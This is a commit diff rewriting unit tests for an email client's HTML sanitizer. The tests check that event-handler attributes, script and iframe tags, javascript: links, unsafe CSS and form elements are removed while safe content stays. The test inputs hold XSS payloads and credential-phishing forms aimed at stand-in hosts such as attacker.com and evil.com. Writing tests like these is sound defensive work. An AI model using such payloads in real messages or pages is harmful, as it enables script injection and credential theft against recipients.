fix(mu): email content not displayed due to sanitize html
(cherry picked from commit 2f06e52d81864a62d6e588bb24a6845e20371bf4)
This commit is contained in:
@@ -1,12 +1,13 @@
|
||||
import 'package:core/presentation/utils/html_transformer/text/standardize_html_sanitizing_transformers.dart';
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'dart:convert';
|
||||
import 'package:flutter_test/flutter_test.dart';
|
||||
import 'package:core/presentation/utils/html_transformer/text/standardize_html_sanitizing_transformers.dart';
|
||||
|
||||
void main() {
|
||||
group('StandardizeHtmlSanitizingTransformers.process', () {
|
||||
const transformer = StandardizeHtmlSanitizingTransformers();
|
||||
const htmlEscape = HtmlEscape();
|
||||
const listHTMLTags = [
|
||||
|
||||
const allowedTags = <String>[
|
||||
'div',
|
||||
'span',
|
||||
'p',
|
||||
@@ -16,12 +17,10 @@ void main() {
|
||||
'font',
|
||||
'u',
|
||||
'center',
|
||||
'style',
|
||||
'section',
|
||||
'google-sheets-html-origin',
|
||||
'supress_time_adjustment',
|
||||
];
|
||||
const listOnEventAttributes = [
|
||||
|
||||
const eventAttributes = <String>[
|
||||
'mousedown',
|
||||
'mouseenter',
|
||||
'mouseleave',
|
||||
@@ -80,124 +79,368 @@ void main() {
|
||||
'touchcancel',
|
||||
];
|
||||
|
||||
test('SHOULD remove all `on*` attributes tag', () {
|
||||
for (var i = 0; i < listOnEventAttributes.length; i++) {
|
||||
final inputHtml = '<img src="1" href="1" on${listOnEventAttributes[i]}="javascript:alert(1)">';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
String sanitize(String input) =>
|
||||
transformer.process(input, htmlEscape).trim();
|
||||
|
||||
expect(result, equals('<img src="1">'));
|
||||
}
|
||||
});
|
||||
|
||||
test('SHOULD remove all `on*` attributes for any tags', () {
|
||||
for (var tag in listHTMLTags) {
|
||||
for (var event in listOnEventAttributes) {
|
||||
final inputHtml = '<$tag on$event="javascript:alert(1)"></$tag>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
|
||||
expect(result, equals('<$tag></$tag>'));
|
||||
group('Event attributes, script, iframe – fully sanitized', () {
|
||||
test('SHOULD remove all on* event attributes from IMG WHEN event attributes exist', () {
|
||||
for (final evt in eventAttributes) {
|
||||
final html = '<img src="1" href="1" on$evt="javascript:alert(1)">';
|
||||
expect(sanitize(html), equals('<img src="1">'));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('SHOULD remove all on* event attributes FROM any allowed tag FOR all events', () {
|
||||
for (final tag in allowedTags) {
|
||||
for (final evt in eventAttributes) {
|
||||
final html = '<$tag on$evt="javascript:alert(1)"></$tag>';
|
||||
expect(sanitize(html), equals('<$tag></$tag>'));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('SHOULD remove all on* event attributes FROM <colgroup>', () {
|
||||
for (final evt in eventAttributes) {
|
||||
final html = '<table><colgroup on$evt="javascript:alert(1)"></colgroup></table>';
|
||||
expect(sanitize(html), equals('<table><colgroup></colgroup></table>'));
|
||||
}
|
||||
});
|
||||
|
||||
test('SHOULD remove all on* event attributes FROM <col>', () {
|
||||
for (final evt in eventAttributes) {
|
||||
final html =
|
||||
'<table><colgroup><col on$evt="javascript:alert(1)"></colgroup></table>';
|
||||
expect(sanitize(html),
|
||||
equals('<table><colgroup><col></colgroup></table>'));
|
||||
}
|
||||
});
|
||||
|
||||
test('SHOULD remove <script> elements entirely', () {
|
||||
expect(sanitize('<script>alert("x")</script>'), equals(''));
|
||||
});
|
||||
|
||||
test('SHOULD remove <iframe> elements entirely', () {
|
||||
expect(sanitize('<iframe onmouseover="prompt(1)"></iframe>'), equals(''));
|
||||
});
|
||||
|
||||
test('SHOULD remove nested <script> elements', () {
|
||||
const html = '<div><p>Hello<script>alert(1)</script></p></div>';
|
||||
expect(sanitize(html), equals('<div><p>Hello</p></div>'));
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove all `on*` attributes for `colgroup` tag', () {
|
||||
for (var event in listOnEventAttributes) {
|
||||
final inputHtml = '<table><colgroup on$event="javascript:alert(1)"></colgroup></table>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('Href/src sanitization – unsafe removed, safe preserved', () {
|
||||
test('SHOULD remove javascript: href FROM <a>', () {
|
||||
const html = '<a href="javascript:alert(1)" id="id1">test</a>';
|
||||
expect(sanitize(html), equals('<a id="id1">test</a>'));
|
||||
});
|
||||
|
||||
expect(result, equals('<table><colgroup></colgroup></table>'));
|
||||
}
|
||||
test('SHOULD remove invalid JS event attributes FROM <img>', () {
|
||||
const html = '<img src="1" href="1" onerror="javascript:alert(1)">';
|
||||
expect(sanitize(html), equals('<img src="1">'));
|
||||
});
|
||||
|
||||
test('SHOULD keep base64 image sources intact', () {
|
||||
const html = '<img src="data:image/jpeg;base64,AAAABBBBCCCC==">';
|
||||
expect(
|
||||
sanitize(html),
|
||||
equals('<img src="data:image/jpeg;base64,AAAABBBBCCCC==">'));
|
||||
});
|
||||
|
||||
test('SHOULD keep cid: image sources intact', () {
|
||||
expect(
|
||||
sanitize('<img src="cid:email123">'),
|
||||
equals('<img src="cid:email123">'));
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove all `on*` attributes for `col` tag', () {
|
||||
for (var event in listOnEventAttributes) {
|
||||
final inputHtml = '<table><colgroup><col on$event="javascript:alert(1)"></colgroup></table>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('Unknown tags, structural tags – unwrap or preserve safely', () {
|
||||
test('SHOULD preserve nav/main/footer but strip dangerous attributes', () {
|
||||
expect(sanitize('<nav href="javascript:1"></nav>'), equals('<nav></nav>'));
|
||||
expect(sanitize('<main href="javascript:1"></main>'), equals('<main></main>'));
|
||||
expect(sanitize('<footer href="javascript:1"></footer>'), equals('<footer></footer>'));
|
||||
});
|
||||
|
||||
expect(result, equals('<table><colgroup><col></colgroup></table>'));
|
||||
}
|
||||
test('SHOULD unwrap <supress_time_adjustment> AND keep children', () {
|
||||
const html =
|
||||
'<supress_time_adjustment href="javascript:1"><div><p>Hello</p></div></supress_time_adjustment>';
|
||||
expect(sanitize(html), equals('<div><p>Hello</p></div>'));
|
||||
});
|
||||
|
||||
test('SHOULD unwrap <google-sheets-html-origin> AND keep children', () {
|
||||
const html =
|
||||
'<google-sheets-html-origin href="javascript:1"><div><p>Hello</p></div></google-sheets-html-origin>';
|
||||
expect(sanitize(html), equals('<div><p>Hello</p></div>'));
|
||||
});
|
||||
|
||||
test('SHOULD unwrap unknown tags AND keep children', () {
|
||||
expect(sanitize('<custom><p>Hello</p></custom>'), equals('<p>Hello</p>'));
|
||||
});
|
||||
|
||||
test('SHOULD unwrap nested unknown tags AND keep children', () {
|
||||
expect(
|
||||
sanitize('<x1><x2><p>Hello</p></x2></x1>'),
|
||||
equals('<p>Hello</p>'));
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove attributes of IMG tag WHEN they are invalid', () {
|
||||
const inputHtml = '<img src="1" href="1" onerror="javascript:alert(1)">';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('CSS sanitization – unsafe styles removed', () {
|
||||
test('SHOULD keep plain text containing JS-like keywords', () {
|
||||
const html = 'hello <p>document.cookie</p> world';
|
||||
|
||||
expect(result, equals('<img src="1">'));
|
||||
expect(
|
||||
sanitize(html),
|
||||
equals('hello <p>document.cookie</p> world'),
|
||||
);
|
||||
});
|
||||
|
||||
test('SHOULD remove HTML comments entirely', () {
|
||||
const html = '<div><!--test--><p>A</p><!--x--></div>';
|
||||
expect(sanitize(html), equals('<div><p>A</p></div>'));
|
||||
});
|
||||
|
||||
test('SHOULD remove unsafe CSS FROM <style>', () {
|
||||
const html =
|
||||
'<style>p{position:absolute;color:red;background:url(javascript:evil);}</style>';
|
||||
expect(sanitize(html), equals(''));
|
||||
});
|
||||
|
||||
test('SHOULD sanitize inline CSS by removing dangerous properties', () {
|
||||
const html =
|
||||
'<p style="color:red;position:absolute;background:url(javascript:evil)">X</p>';
|
||||
expect(sanitize(html), equals('<p style="color: red">X</p>'));
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove all SCRIPTS tags', () {
|
||||
const inputHtml = '<script>alert("This is an alert message!");</script>';
|
||||
final result = transformer.process(inputHtml, htmlEscape).trim();
|
||||
group('ID and class validation – valid preserved, invalid removed', () {
|
||||
test('SHOULD preserve valid id/class values', () {
|
||||
const html = '<div id="abc123" class="valid_class"></div>';
|
||||
expect(
|
||||
sanitize(html),
|
||||
equals('<div id="abc123" class="valid_class"></div>'));
|
||||
});
|
||||
|
||||
expect(result, equals(''));
|
||||
test('SHOULD remove invalid id/class values', () {
|
||||
const html = '<div id="!!!" class="@@@"></div>';
|
||||
expect(sanitize(html), equals('<div></div>'));
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove all IFRAME tags', () {
|
||||
const inputHtml = '<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('Complex nested HTML – sanitized safely', () {
|
||||
test('SHOULD remove all dangerous content AND preserve safe nodes', () {
|
||||
const html = '''
|
||||
<div onclick="x">
|
||||
<p>Hello<script>alert(1)</script></p>
|
||||
<img src="cid:x1" onerror="hack()">
|
||||
<a href="javascript:evil()" id="ok">link</a>
|
||||
</div>
|
||||
''';
|
||||
|
||||
expect(result, equals(''));
|
||||
final out = sanitize(html);
|
||||
|
||||
expect(out.contains('javascript'), false);
|
||||
expect(out.contains('hack'), false);
|
||||
expect(out.contains('script'), false);
|
||||
expect(out.contains('evil'), false);
|
||||
expect(out.contains('onclick'), false);
|
||||
expect(out.contains('<img'), true);
|
||||
expect(out.contains('<div'), true);
|
||||
expect(out.contains('<a'), true);
|
||||
expect(out.contains('Hello'), true);
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD remove href attribute of A tag WHEN it is invalid', () {
|
||||
const inputHtml = '<a href="javascript:alert(1)" id="id1">test</a>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('FORM attributes – dangerous removed', () {
|
||||
final dangerousFormAttributes = [
|
||||
'action="https://malicious.com/x"',
|
||||
'action="javascript:1"',
|
||||
'method="POST"',
|
||||
'target="_blank"',
|
||||
'enctype="multipart/form-data"',
|
||||
'formaction="https://evil.com"',
|
||||
'formmethod="POST"',
|
||||
'formtarget="_blank"',
|
||||
'formenctype="text/plain"',
|
||||
'autocomplete="off"',
|
||||
'novalidate',
|
||||
'accept-charset="UTF-8"',
|
||||
'name="myForm"',
|
||||
];
|
||||
|
||||
expect(result, equals('<a id="id1">test</a>'));
|
||||
test('SHOULD remove every dangerous FORM attribute', () {
|
||||
for (final attr in dangerousFormAttributes) {
|
||||
final html = '<form $attr></form>';
|
||||
expect(sanitize(html), equals(''));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD persist value src attribute of IMG tag WHEN it is base64 string', () {
|
||||
const inputHtml = '<img src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA">';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('FORM child elements – all removed', () {
|
||||
final forbiddenChildren = [
|
||||
'<input type="text">',
|
||||
'<input type="password">',
|
||||
'<input type="hidden">',
|
||||
'<input type="file">',
|
||||
'<button>Submit</button>',
|
||||
'<textarea></textarea>',
|
||||
'<select><option>A</option></select>',
|
||||
'<option>A</option>',
|
||||
];
|
||||
|
||||
expect(result, equals('<img src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA">'));
|
||||
test('SHOULD remove dangerous FORM child elements', () {
|
||||
for (final child in forbiddenChildren) {
|
||||
expect(sanitize('<form>$child</form>'), equals(''));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
test('SHOULD persist value src attribute of IMG tag WHEN it is CID string', () {
|
||||
const inputHtml = '<img src="cid:email123">';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('FORM combined vectors – fully sanitized', () {
|
||||
test('SHOULD remove dangerous FORM attributes AND dangerous children', () {
|
||||
const html =
|
||||
'<form action="https://evil.com" method="POST"><input type="text"></form>';
|
||||
expect(sanitize(html), equals(''));
|
||||
});
|
||||
|
||||
expect(result, equals('<img src="cid:email123">'));
|
||||
test('SHOULD remove multiple dangerous items inside complex FORM', () {
|
||||
const html = '''
|
||||
<form action="javascript:1" method="POST">
|
||||
<input type="text">
|
||||
<input type="password">
|
||||
<button>Submit</button>
|
||||
</form>
|
||||
''';
|
||||
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('input'), isFalse);
|
||||
expect(out.contains('button'), isFalse);
|
||||
expect(out.contains('action'), isFalse);
|
||||
expect(out.contains('method'), isFalse);
|
||||
});
|
||||
|
||||
test('SHOULD remove nested FORM elements', () {
|
||||
const html = '<form action="outer"><form action="inner"></form></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('action'), isFalse);
|
||||
});
|
||||
|
||||
test('SHOULD keep safe nested elements even when FORM wrapper is removed', () {
|
||||
const html =
|
||||
'<form action="test"><div><div><p>Content</p></div></div></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('action'), isFalse);
|
||||
expect(out.contains('<p>'), isTrue);
|
||||
});
|
||||
});
|
||||
|
||||
test(
|
||||
'SHOULD persist nav tag and remove href attribute of A tag '
|
||||
'WHEN href is invalid',
|
||||
() {
|
||||
const inputHtml = '<nav href="javascript:alert(1)"></nav>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('FORM safe attributes – safely unwrapped', () {
|
||||
test('SHOULD unwrap FORM with safe style', () {
|
||||
expect(sanitize('<form style="color: red;"></form>'), contains(''));
|
||||
});
|
||||
|
||||
expect(result, equals('<nav></nav>'));
|
||||
test('SHOULD unwrap FORM with safe class', () {
|
||||
expect(sanitize('<form class="email-form"></form>'), contains(''));
|
||||
});
|
||||
|
||||
test('SHOULD unwrap FORM with safe id', () {
|
||||
expect(sanitize('<form id="my-form"></form>'), contains(''));
|
||||
});
|
||||
|
||||
test('SHOULD unwrap FORM with safe bgcolor', () {
|
||||
expect(sanitize('<form bgcolor="#fff"></form>'), contains(''));
|
||||
});
|
||||
|
||||
test('SHOULD remove dangerous attributes even when safe attributes exist', () {
|
||||
const html =
|
||||
'<form style="color:red;" action="https://evil" class="a" method="POST"></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('style'), isFalse);
|
||||
expect(out.contains('class'), isFalse);
|
||||
expect(out.contains('action'), isFalse);
|
||||
expect(out.contains('method'), isFalse);
|
||||
});
|
||||
|
||||
test('SHOULD preserve nested safe elements when FORM wrapper is removed', () {
|
||||
const html =
|
||||
'<form><div><p>Safe</p><table><tr><td>X</td></tr></table></div></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('<div>'), isTrue);
|
||||
expect(out.contains('Safe'), isTrue);
|
||||
expect(out.contains('<table>'), isTrue);
|
||||
});
|
||||
});
|
||||
|
||||
test(
|
||||
'SHOULD persist main tag and remove href attribute of A tag '
|
||||
'WHEN href is invalid',
|
||||
() {
|
||||
const inputHtml = '<main href="javascript:alert(1)"></main>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
group('Real-world phishing/XSS form attacks – fully sanitized', () {
|
||||
test('SHOULD remove credential phishing forms', () {
|
||||
const html = '''
|
||||
<form action="https://attacker.com" method="POST">
|
||||
<input type="text">
|
||||
<input type="password">
|
||||
<button>Login</button>
|
||||
</form>
|
||||
''';
|
||||
|
||||
expect(result, equals('<main></main>'));
|
||||
});
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('action'), isFalse);
|
||||
expect(out.contains('input'), isFalse);
|
||||
expect(out.contains('button'), isFalse);
|
||||
});
|
||||
|
||||
test(
|
||||
'SHOULD persist footer tag and remove href attribute of A tag '
|
||||
'WHEN href is invalid',
|
||||
() {
|
||||
const inputHtml = '<footer href="javascript:alert(1)"></footer>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
test('SHOULD prevent CSRF token stealing by removing hidden inputs', () {
|
||||
const html =
|
||||
'<form action="https://bank.com"><input type="hidden" name="csrf"></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('input'), isFalse);
|
||||
expect(out.contains('csrf'), isFalse);
|
||||
});
|
||||
|
||||
expect(result, equals('<footer></footer>'));
|
||||
});
|
||||
test('SHOULD remove javascript-based form actions', () {
|
||||
expect(sanitize('<form action="javascript:alert(1)"></form>'), equals(''));
|
||||
});
|
||||
|
||||
test(
|
||||
'SHOULD persist supress_time_adjustment tag and remove href attribute of A tag '
|
||||
'WHEN href is invalid',
|
||||
() {
|
||||
const inputHtml = '<supress_time_adjustment href="javascript:alert(1)"></supress_time_adjustment>';
|
||||
final result = transformer.process(inputHtml, htmlEscape);
|
||||
test('SHOULD remove data URI form actions', () {
|
||||
expect(sanitize('<form action="data:text/html,<script>x</script>"></form>'),
|
||||
equals(''));
|
||||
});
|
||||
|
||||
expect(result, equals('<supress_time_adjustment></supress_time_adjustment>'));
|
||||
test('SHOULD prevent file upload exploitation', () {
|
||||
const html =
|
||||
'<form action="/upload" enctype="multipart/form-data"><input type="file"></form>';
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('input'), isFalse);
|
||||
expect(out.contains('enctype'), isFalse);
|
||||
});
|
||||
|
||||
test('SHOULD allow safe cosmetic FORM usage while removing wrapper', () {
|
||||
const html = '''
|
||||
<form style="border:1px solid #ccc">
|
||||
<div><p>This is a survey notification</p></div>
|
||||
</form>
|
||||
''';
|
||||
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('<form'), isFalse);
|
||||
expect(out.contains('style'), isFalse);
|
||||
expect(out.contains('This is a survey notification'), isTrue);
|
||||
expect(out.contains('<div'), isTrue);
|
||||
expect(out.contains('<p'), isTrue);
|
||||
});
|
||||
|
||||
test('SHOULD remove mixed XSS and phishing vectors inside FORM', () {
|
||||
const html = '''
|
||||
<form action="https://evil.com" onsubmit="alert(1)">
|
||||
<script>steal()</script>
|
||||
<input type="text" onclick="hack()">
|
||||
<iframe src="x"></iframe>
|
||||
</form>
|
||||
''';
|
||||
|
||||
final out = sanitize(html);
|
||||
expect(out.contains('action'), isFalse);
|
||||
expect(out.contains('onsubmit'), isFalse);
|
||||
expect(out.contains('script'), isFalse);
|
||||
expect(out.contains('input'), isFalse);
|
||||
expect(out.contains('iframe'), isFalse);
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user